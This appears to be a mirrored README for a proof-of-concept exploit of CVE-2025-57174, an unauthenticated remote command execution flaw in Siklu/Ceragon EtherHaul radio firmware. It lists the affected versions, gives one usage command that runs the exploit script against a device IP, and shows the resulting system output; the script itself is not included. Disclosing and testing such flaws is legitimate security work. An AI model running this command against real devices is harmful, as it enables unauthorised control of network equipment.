CVE-2025-57174 PoC — Ceragon EtherHaul series 安全漏洞

Description

CVE-2025-57174 Unauthenticated Remote Command Execution

介绍

# CVE-2025-57174 - Siklu EtherHaul Series - Unauthenticated Remote Command Execution
CVE-2025-57174 Unauthenticated Remote Command Execution<br>
Affected Versions: Firmware 7.4.0 - 10.7.3 (likely all versions since 7.4.0)

How to use
```
python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description               : EH-8010FX-L
system snmpid                    : .1.3.6.1.4.1.31926
system uptime                    : 0028:22:01:51
system contact                   : undefined
system name                      : EH-8010FX-L
system location                  : undefined
system voltage                   : poe (injector)
system temperature               : 47
system date                      : 2025.09.24
system time                      : 14:56:50
system cli-timeout               : 15
system loop-permission           : enabled
</text>
```

<img width="1420" height="772" alt="{5EB1C49C-5E07-479B-A00C-BFA12D08C721}" src="https://github.com/user-attachments/assets/c1ec87fa-ed57-4c76-83f3-61b7213fdf82" />

文件快照

备注